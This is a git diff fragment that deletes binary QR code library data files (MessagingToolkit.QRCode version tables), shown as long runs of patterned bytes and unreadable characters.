..--,,++>>==<<;;&%%$$##"EEDDCCBBiihhggff``aabbccvvwwxxyymmnnooppIIJJKKLL%%&&''(($$##""!!HHGGFFEE]]\\[[ZZBBAA@@??__^^]]\\~~gghhiijjCCDDEEFF !!""**))((''::993322"!! AA@@??>>eeddccbbddeeffggzz{{||}}qqrrssttMMNNOOPP))**++,, DDCCBBAAYYXXWWVV>>==<<;;[[ZZYYXX~~}}||kkllmmnnGGHHIIJJ##$$%%&&&&%%$$##1100//..==<<;;::aa``__^^hhiijjkk~~uuvvwwxxQQRRSSTT--..//00 - - @@??>>==UUOONNMM::998765WWVVUUTT{{zzyyxxooppqqrrKKLLMMNN''(())**""!! --,,++**99887766]]\\[[ZZ~~llmmnnooyyzz{{||UUVVWWXX11223344 <<;;::99LLKKJJII43322110SSRRQQPPwwvvuuttssttuuvvOOPPQQRR++,,--.. - -))((''&&55443322YYXXWWVV}}||{{zzppqqrrss}}~~YYZZ[[\\5566778888776655HHGGFFEE0//..--,OONNMMLLssrrqqpp~~}}||wwxxyyzzSSTTUUVV//001122 %%$$##"" 1100//..UUTTSSRRyyxxwwvvttuuvvww]]^^__``99::;;<< 44332211DDCCBBAA,++**))(KKJJIIHHoonnmmll{{zzyyxx{{||}}~~WWXXYYZZ33445566!!  - - --,,++**QQPPOONNuuttssrrxxyyzz{{aabbccdd==>>??@@ - - 00//..--@@??>>==(''&&%%$GGFFEEDDkkjjiihhwwvvuutt[[\\]]^^778899::))((''&&MMLLKKJJqqppoonn||}}~~eeffgghhAABBCCDD ,,++**))<<;;::99$##""!! CCBBAA@@ggffeeddssrrqqpp__``aabb;;<<==>> %%$$##""IIHHGGFFmmllkkjjiijjkkllEEFFGGHH!!""##$$((''&&%%33221100 ??>>==<>eeddccbbqqrrssttMMNNOOPP))**++,, ++**))((77665544[[ZZYYXX~~}}||ggffeeddkkllmmnnGGHHIIJJ##$$%%&& ==<<;;::aa``__^^uuvvwwxxQQRRSSTT--..//00 - - ''&&%%$$33221100WWVVUUTT{{zzyyxxccbbaa``ooppqqrrKKLLMMNN''(())**99887766]]\\[[ZZ~~yyzz{{||UUVVWWXX11223344 ##""!! - -//..--,,SSRRQQPPwwvvuutt__^^]]\\ssttuuvvOOPPQQRR++,,--.. - - - - 55443322YYXXWWVV}}||{{zz}}~~YYZZ[[\\55667788 ++**))((OONNMMLLssrrqqpp[[ZZYYXXwwxxyyzzSSTTUUVV//001122   - -1100//..UUTTSSRRyyxxwwvv]]^^__``99::;;<< ''&&%%$$KKJJIIHHoonnmmllWWVVUUTT~~}}||{{{{||}}~~WWXXYYZZ33445566 --,,++**QQPPOONNuuttssrraabbccdd==>>??@@ - - ##""!! GGFFEEDDkkjjiihhSSRRQQPPzzyyxxww[[\\]]^^778899:: !!""##))((''&&MMLLKKJJqqppoonneeffgghhAABBCCDD   CCBBAA@@ggffeedd~~}}||{{OONNMMLLvvuuttss__``aabb;;<<==>> !!$$%%&&''%%$$##""IIHHGGFFmmllkkjjiijjkkllEEFFGGHH!!""##$$ - -  - - ??>>==<>eeddccbbqqrrssttMMNNOOPP))**++,, - -77665544[[ZZYYXXrrqqkkjjCCBBAA@@hggffeedkkllmmnnGGHHIIJJ##$$%%&&**++,,--00112233 ==<<;;::aa``__^^uuvvwwxxQQRRSSTT--..//00 - -  33221100WWVVUUTTiihhggff??>>==<<~~dccbbaa`~~}}||{{ooppqqrrKKLLMMNN''(())**..//00114455667799887766]]\\[[ZZ~~~~}}yyzz{{||UUVVWWXX11223344  - - //..--,,SSRRQQPPeeddccbb;;::9988}}||{{zz`__^^]]\zzyyxxwwssttuuvvOOPPQQRR++,,--..223399::8899::;;55443322YYXXWWVV}}||{{zz||{{zzyy}}~~YYZZ[[\\55667788 !!++**))((OONNMMLLaa``__^^77665544yyxxwwvv\[[ZZYYXvvuuttsswwxxyyzzSSTTUUVV//001122;;<<==>><<==>>?? - -1100//..UUTTSSRRyyxxwwvvxxwwvvuu]]^^__``99::;;<<""##$$%%''&&%%$$KKJJIIHH]]\\[[ZZ33221100uuttssrrXWWVVUUTrrqqppoo{{||}}~~WWXXYYZZ33445566??@@AABB@@AABBCC --,,++**QQPPOONNuuttssrrttssrrqqaabbccdd==>>??@@ !!""##&&''(())##""!! GGFFEEDDYYXXWWVV//..--,,qqkkjjiiSRQPOONNnnmmllkk[[\\]]^^778899::CCDDEEFFDDEEFFGG !!""##))((''&&MMLLKKJJqqppoonnponmlkkjeeffgghhAABBCCDD $$%%&&''**++,,-- CCBBAA@@UUOONNMM++**))((hhggffeeMMLLKKJJjjiihhgg__``aabb;;<<==>>GGHHIIJJHHIIJJKK$$%%&&''%%$$##""IIHHGGFFmmllkkjjjiihhggfiijjkkllEEFFGGHH!!""##$$(())**++..//0011 - - ??>>==<>eeddccbb~~}}||baa``__^||{{zzyyqqrrssttMMNNOOPP))**++,,001122336677889977665544DDCCBBAA\\[[ZZYYAA@@??>>^^]]\\[[kkllmmnnGGHHIIJJXXYYZZ[[TTUUVVWW00112233 ==<<;;::aa``__^^{{zzyyxx^]]\\[[ZxxwwvvuuuuvvwwxxQQRRSSTT--..//0099::;;<<::;;<<== 33221100@@??>>==XXWWVVUU==<<;;::ZZYYXXWW~~}}||{{ooppqqrrKKLLMMNN\\]]^^__XXYYZZ[[4455667799887766]]\\[[ZZwwvvuuttZYYXXWWVttssrrqqyyzz{{||UUVVWWXX11223344==>>??@@>>??@@AA - - //..--,,<<;;::99OONNMMLL99876543VVUUTTSSzzyyxxwwssttuuvvOOPPQQRR``aabbcc\\]]^^__8899::;;55443322YYXXWWVVssrrqqkkVUUTSRQPppoonnmm}}~~YYZZ[[\\55667788AABBCCDDBBCCDDEE !!++**))((33221100KKJJIIHH3221100/RRQQPPOOvvuuttsswwxxyyzzSSTTUUVVddeeffgg``aabbcc<<==>>?? - -1100//..UUTTSSRRjjiihhggOONNMMLLllkkjjii]]^^__``99::;;<>??@@IIJJKKLLJJKKLLMM&&''(())##""!! ++**))(( - - CCBBAA@@+**))(('JJIIHHGGnnmmllkk[[\\]]^^qqrrsstthhiijjkkDDEEFFGG !!""##))((''&&MMLLKKJJbbaa``__GGFFEEDDddccbbaaeeffgghhAABBCCDDMMNNOOUUNNOOPPQQ**++,,-- ''&&%%$$ - - ??>>==<<'&&%%$$#FFEEDDCCjjiihhgg__``aabbuuvvwwxxllmmnnooHHIIJJKK$$%%&&''%%$$##""IIHHGGFF^^]]\\[[CCBBAA@@``__^^]]iijjkkllEEFFGGHHVVWWXXYYRRSSTTUU..//0011 - - ##""!! ;;::9933#""!! BBAA@@??ffeeddccccddeeffyyzz{{||ppqqrrssLLMMNNOO(())**++!! EEDDCCBBZZYYXXWW??>>==<<\\[[ZZYY~~}}mmnnooppIIJJKKLLZZ[[\\]]VVWWXXYY22334455221100//>>==<<;;bbaa``__gghhiijj}}~~ttuuvvwwPPQQRRSS,,--..// - - AA@@??>>VVUUOONN;;::9987XXWWVVUU||{{zzyyqqrrssttMMNNOOPP^^__``aaZZ[[\\]]66778899..--,,++::998877^^]]\\[[kkllmmnnxxyyzz{{TTUUVVWW00112233 ==<<;;::MMLLKKJJ65433221TTSSRRQQxxwwvvuuuuvvwwxxQQRRSSTTbbccddee^^__``aa::;;<<== **))((''66554433ZZYYXXWW~~}}||{{ooppqqrr||}}~~XXYYZZ[[4455667799887766IIHHGGFF100//..-PPOONNMMttssrrqqyyzz{{||UUVVWWXXffgghhiibbccddee>>??@@AA - -   !!&&%%$$## 221100//VVUUTTSSzzyyxxwwssttuuvv\\]]^^__8899::;;55443322EEDDCCBB-,,++**)LLKKJJIIppoonnmm}}~~YYZZ[[\\jjkkqqrrffgghhiiBBCCDDEE !! - - - -""##$$%%""!!  - - ..--,,++RRQQPPOOvvuuttsswwxxyyzz``aabbcc<<==>>?? - -1100//..AA@@??>>)((''&&%HHGGFFEEllkkjjii]]^^__``ssttuuvvjjkkllmmFFGGHHII""##$$%% &&''(())**))((''NNMMLLKKrrqqppoo{{||}}~~ddeeffgg@@AABBCC --,,++**==<<;;::%$$##""!DDCCBBAAhhggffeeaabbccddwwxxyyzznnooppqqJJKKLLMM&&''(())**++,,--&&%%$$##JJIIHHGGnnmmllkkhhiijjkkDDEEFFGG !!""##))((''&&99332211! @@??>>==ddccbbaaeeffgghh{{||}}~~rrssttuuNNOOPPQQ**++,,-- ..//0011""!! FFEEDDCCjjiihhggllmmnnooHHIIJJKK$$%%&&''%%$$##""00//..--<<;;::99``__^^]]iijjkkllvvwwxxyyRRSSTTUU..//0011 - - 22334455 - - - -BBAA@@??ffeeddccppqqrrssLLMMNNOO(())**++!! ,,++**))88776655\\[[ZZYY~~}}mmnnooppzz{{||}}VVWWXXYY22334455 !!""##66778899  >>==<<;;bbaa``__ttuuvvwwPPQQRRSS,,--..// - - ((''&&%%44332211XXWWVVUU||{{zzyyqqrrsstt~~ZZ[[\\]]66778899$$%%&&''::;;<<==::998877^^]]\\[[xxyyzz{{TTUUVVWW00112233 $$##""!! 00//..--TTSSRRQQxxwwvvuuuuvvwwxx^^__``aa::;;<<==(())**++>>??@@AA - - 66554433ZZYYXXWW~~}}||{{||}}~~XXYYZZ[[44556677  - - ,,++**))PPOONNMMttssrrqqyyzz{{||bbccddee>>??@@AA,,--..//BBCCDDEE  221100//VVUUTTSSzzyyxxww\\]]^^__8899::;;((''&&%%LLKKJJIIppoonnmm}}~~ffgghhiiBBCCDDEE !!00112233FFGGHHII - - ..--,,++RRQQPPOOvvuuttss``aabbcc<<==>>?? - -$$##""!!HHGGFFEEllkkjjiijjkkllmmFFGGHHII""##$$%%99::;;<>??@@NNOOPPQQ ##$$%%&&&&%%$$##JJIIHHGGnnmmllkkhhiijjkkDDEEFFGG !!""## - -  - - @@??>>==ddccbbaarrssttuuNNOOPPQQ**++,,--AABBCCDDRRSSTTUU!!""##$$''(())**""!! FFEEDDCCjjiihhggllmmnnooHHIIJJKK$$%%&&'' <<;;::99``__^^]]vvwwxxyyRRSSTTUU..//0011EEFFGGHHVVWWXXYY%%&&''((++,,--.. - -BBAA@@??ffeeddccppqqrrssLLMMNNOO(())**++ 88776655\\[[ZZYY~~}}zz{{||}}VVWWXXYY22334455IIJJKKLLZZ[[\\]]))**++,,//001122 >>==<<;;bbaa``__ttuuvvwwPPQQRRSS,,--..// - - - -  44332211XXWWVVUU||{{zzyy~~ZZ[[\\]]66778899MMNNOOUU^^__``aa--..//0033445566::998877^^]]\\[[~~xxyyzz{{TTUUVVWW00112233  - - 00//..--TTSSRRQQxxwwvvuu^^__``aa::;;<<==VVWWXXYYbbccddee11223399778899::66554433ZZYYXXWW~~}}||{{}}||{{zz||}}~~XXYYZZ[[44556677 ,,++**))PPOONNMMttssrrqqbbccddee>>??@@AAZZ[[\\]]ffgghhii::;;<<==;;<<==>> 221100//VVUUTTSSzzyyxxwwyyxxwwvv\\]]^^__8899::;;!!""##$$((''&&%%LLKKJJIIppoonnmmffgghhiiBBCCDDEE^^__``aajjkkllmm>>??@@AA??@@AABB - - ..--,,++RRQQPPOOvvuuttssuuttssrr``aabbcc<<==>>?? !!""%%&&''(($$##""!!HHGGFFEEllkkjjiijjkkllmmFFGGHHIIbbccddeennooppqqBBCCDDEECCDDEEFF !!""**))((''NNMMLLKKrrqqppooqqponmlkddeeffgg@@AABBCC##$$%%&&))**++,, DDCCBBAAhhggffeennooppqqJJKKLLMMffgghhiirrssttuuFFGGHHIIGGHHIIJJ##$$%%&&&&%%$$##JJIIHHGGnnmmllkkkjjiihhghhiijjkkDDEEFFGG !!""##''(())**--..//00 - - @@??>>==ddccbbaarrssttuuNNOOPPQQjjkkqqrrvvwwxxyyJJKKLLMMKKLLMMNN''(())**""!! FFEEDDCCjjiihhgggffeeddc~~llmmnnooHHIIJJKK$$%%&&''++,,--..11223344 <<;;::99``__^^]]vvwwxxyyRRSSTTUUssttuuvvzz{{||}}NNOOUUVVOOPPQQRR++,,--.. - -BBAA@@??ffeeddcc~~}}cbbaa``_}}||{{zzppqqrrssLLMMNNOO(())**++//0011225566778888776655\\[[ZZYY~~}}~~}}||zz{{||}}VVWWXXYYwwxxyyzz~~WWXXYYZZSSTTUUVV//001122 >>==<<;;bbaa``__||{{zzyy_^^]]\\[yyxxwwvvttuuvvwwPPQQRRSS,,--..//3399::;;99::;;<< 44332211XXWWVVUU||{{zzyy{{zzyyxx~~ZZ[[\\]]{{||}}~~[[\\]]^^WWXXYYZZ33445566::998877^^]]\\[[xxwwvvuu[ZZYYXXWuuttssrrxxyyzz{{TTUUVVWW00112233<<==>>??==>>??@@ - - 00//..--TTSSRRQQxxwwvvuuwwvvuutt^^__``aa__``aabb[[\\]]^^778899::66554433ZZYYXXWWttssrrqqWVVUUTSRqqppoonn||}}~~XXYYZZ[[44556677@@AABBCCAABBCCDD ,,++**))PPOONNMMttssrrqqssrrqqpobbccddeeccddeeff__``aabb;;<<==>> 221100//VVUUTTSSkkjjiihhQPOONNMMmmllkkjj\\]]^^__8899::;;DDEEFFGGEEFFGGHH!!""##$$((''&&%%LLKKJJIIppoonnmmnmlkkjjiffgghhiigghhiijjccddeeff??@@AABB - - ..--,,++RRQQPPOOggffeeddLLKKJJIIiihhggff``aabbcc<<==>>??HHIIJJKKIIJJKKLL%%&&''(($$##""!!HHGGFFEEllkkjjiiihhggffejjkkllmmkkqqrrssgghhiijjCCDDEEFF !!""**))((''NNMMLLKKccbbaa``HHGGFFEEeeddccbbddeeffgg@@AABBCCLLMMNNOOMMNNOOPP))**++,, DDCCBBAAhhggffeeeddccbba~~}}||nnooppqqttuuvvwwkkllmmnnGGHHIIJJ##$$%%&&&&%%$$##JJIIHHGG__^^]]\\DDCCBBAAaa``__^^hhiijjkkDDEEFFGGUUVVWWXXQQRRSSTT--..//00 - - @@??>>==ddccbbaa~~}}||{{a``__^^]{{zzyyxxrrssttuuxxyyzz{{ooppqqrrKKLLMMNN''(())**""!! FFEEDDCC[[ZZYYXX@@??>>==]]\\[[ZZ~~llmmnnooHHIIJJKKYYZZ[[\\UUVVWWXX11223344 <<;;::99``__^^]]zzyyxxww]\\[[ZZYwwvvuuttvvwwxxyyfpvp˂rbے`f~HXQJ`ےvpftlJXQJ`ےnvpXQrbtJ`ےdQZ|˂pZXv`fdQZ|nXv`XQJ`ےJXQrfpvbHAZH~ftArdbHAZfHfl|ZbHAZpdrtAJHAbے~HfdrtAJf~HbHAZpZAbnXv`p˂r`vXn|ZdQbp˂r`vXndQbt˂rXQltb`JXQrpvnlt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tlXQJ`ےvpfr˂pnXv`bdQZ|r˂p~HfdQZ|˂pZZdQbt˂rXQvXnˁ`ZJltrXQJf`vd|ZHAZp˂rtAJlbے`~HfpdrtAJXQrHfpvtAJlfH~JtArdےbHAfH~JtArdbHAZH~fZHAےf~HdrtAZHAbpvndrtAJHAbےlJfJ`ےvpfHQXb㉀bAdZ|`ےbXnvdQbt璀rXQJtbdQJXQrvnXdQZ|ZHAbnXvtbdQZf`vX|ZdQZp˂f`vX|ZdQp˂r`vXn`JXQrfpvJltے`JXQXv`pbdQZ|`JXQrpvnbHAZp~f`p`ZQXdrQtHAZp˂pfH~lJtAr`ےbZ|d˂pZHAv`fdrtAJے`JXQ`f~|drnvpbtlrXQJ`nvpbtlXQJ`ےvpfbtlnXv`bdQZ|r˂pvnXdrt˂pZXv`f˂rXQvXnb㉀ۑpJltbHAf`vd|ZHAZp˂tAJlbے`~Hfpltbr˂pHfpvtAJlfے`JJtArdےbHAfH~JtArdbHAZH~fJtAdf~HdrtAZHAbv`fAJltHAbے~HfJ`ےvpfHJAHrbAdZ|Zp˂XnvdQbt璀rXQJtbnJXQrvnXdQZ|ZHAbnXvtbdQZXQr˂|ZdQZp˂f`vXtlJp˂r`vXn|ZdQbfpvJltے`JXQ~HfpbdQZ|`JXQrpvnbHAZp~f`ˁ`ZQXdrQtrXQJ`pfH~lJtAr`ےbvpfH˂pZHAv`fdrtAJے`JXQ`f~|drpZHAbbtlrXQJ`nvptArdXQJ`ےvpftlJnXv`bdQZ|r˂pvnXdrt˂pZXv`f˂rXQvXnb㉀ۑpJlt----------................................................................... \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_3.dat deleted file mode 100644 index 792dee0..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_3.dat +++ /dev/null @@ -1,345 +0,0 @@ -~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghgfefedcdcdcdc~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqponmnmnmnmjijijijifefefefedcdcdcdc~}~}~}~}zyzyzyzyxwxwxwvutstststspopopoponmnmnmnmjijijijifefefefedcdcdcdc~}~}~}|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmlkjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklkkkjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopokkklklkljijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopokkkkkklkjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklkkkkkjijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcbaba|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijihghgfefefefebabababa|{|{|{|{zyzyzyzyvuvuvuvutststsrqpopopopoklklklklhghghghgfefefefebabababa|{|{|{|{zyzyzyxwvuvuvuvurqrqrqrqpopopopoklklklklhghghghgfefefefebabababa~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklklklkkhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopokkkklklkhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolkkkkkklhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklklklklhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklklklklhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklklklklhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqponmnmnmklklklklhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmklklklklhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmklklkkkkhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmkklklklkhghghghgfefefefebabababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefebabababababababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefebabababababababa~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefebabababababa`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmkkkklklkhghghghgfefedcdcbabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklkjijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvutsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}|{|{|{zyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]ZYZYZYZYXWXWVUVUTSTSTSTSOPOPOPOPLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    `_`_`_`_^]^]\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOPLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOOOOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343330/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787333434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878765343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOOOOOPOPLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOPLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOPLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565333333430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOPLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQOPOPOPOPLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQOPOPOPOPLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQOPOOOOOOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434333330/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - 